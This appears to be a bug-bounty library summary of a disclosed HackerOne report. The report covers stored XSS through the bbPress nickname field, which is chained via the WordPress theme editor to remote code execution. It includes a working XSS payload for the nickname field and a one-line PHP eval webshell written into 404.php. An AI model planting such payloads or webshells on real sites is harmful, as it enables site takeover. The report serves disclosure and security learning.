# [bbPress] Stored XSS in any forum post.

Stored XSS via unsanitized bbPress nickname field lets any forum user inject script that escalates to PHP code execution through the theme editor.

- Payout: hidden
- Severity: high
- Program: Automattic
- Found by: psych0tr1a
- Disclosed: 2016-09-01
- CVE: CVE-2015-5622
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/151117
- Library page: https://bugbountylibrary.com/r/h1%3A151117
- Tags: area:web domain:web impact:privesc impact:rce kind:bounty platform:hackerone sev:high tech:php tech:wordpress technique:chained vuln:xss

**Target:** WordPress bbPress forum plugin nickname/display-name field
**Root cause:** The bbPress user nickname field is rendered into forum post markup without HTML escaping, so a quote in the nickname breaks out of the attribute and injects event handlers.
**Steps:**
1. Post any message in a topic or start a new topic.
2. Edit the message.
3. Open `http://localhost/wordpress/?bbp_user=%YOUR_USER_ID%&edit=1`.
4. Set Nickname to `user1"onmouseover="alert(1);remove()"style="position:absolute;..."`.
5. Change Display Name to the new Nickname, save, and return to the thread; hovering the post triggers the payload.
**How found:** Researcher, motivated by prior cure53 findings, began reviewing plugins in scope and found the nickname field reflected into post markup without escaping, requiring no special privileges unlike CVE-2015-5622.
**Exploitation:** The XSS payload loads `/wp-admin/theme-editor.php` in a hidden iframe, parses the theme file URL, opens the 404.php template in a second iframe, prepends `<?php eval($_GET['wp']); ?>` to its content, submits the save form, then requests the backdoor URL with `?wp=phpinfo();` to confirm code execution.
**Escalation:** XSS in a low-privilege forum user context is chained to the admin theme editor to write a PHP webshell, yielding RCE.
**Insight:** Profile fields like nickname/display name that get rendered into post templates are a common stored-XSS sink in forum plugins; test quote-breaking in these fields even when the post body itself is sanitized.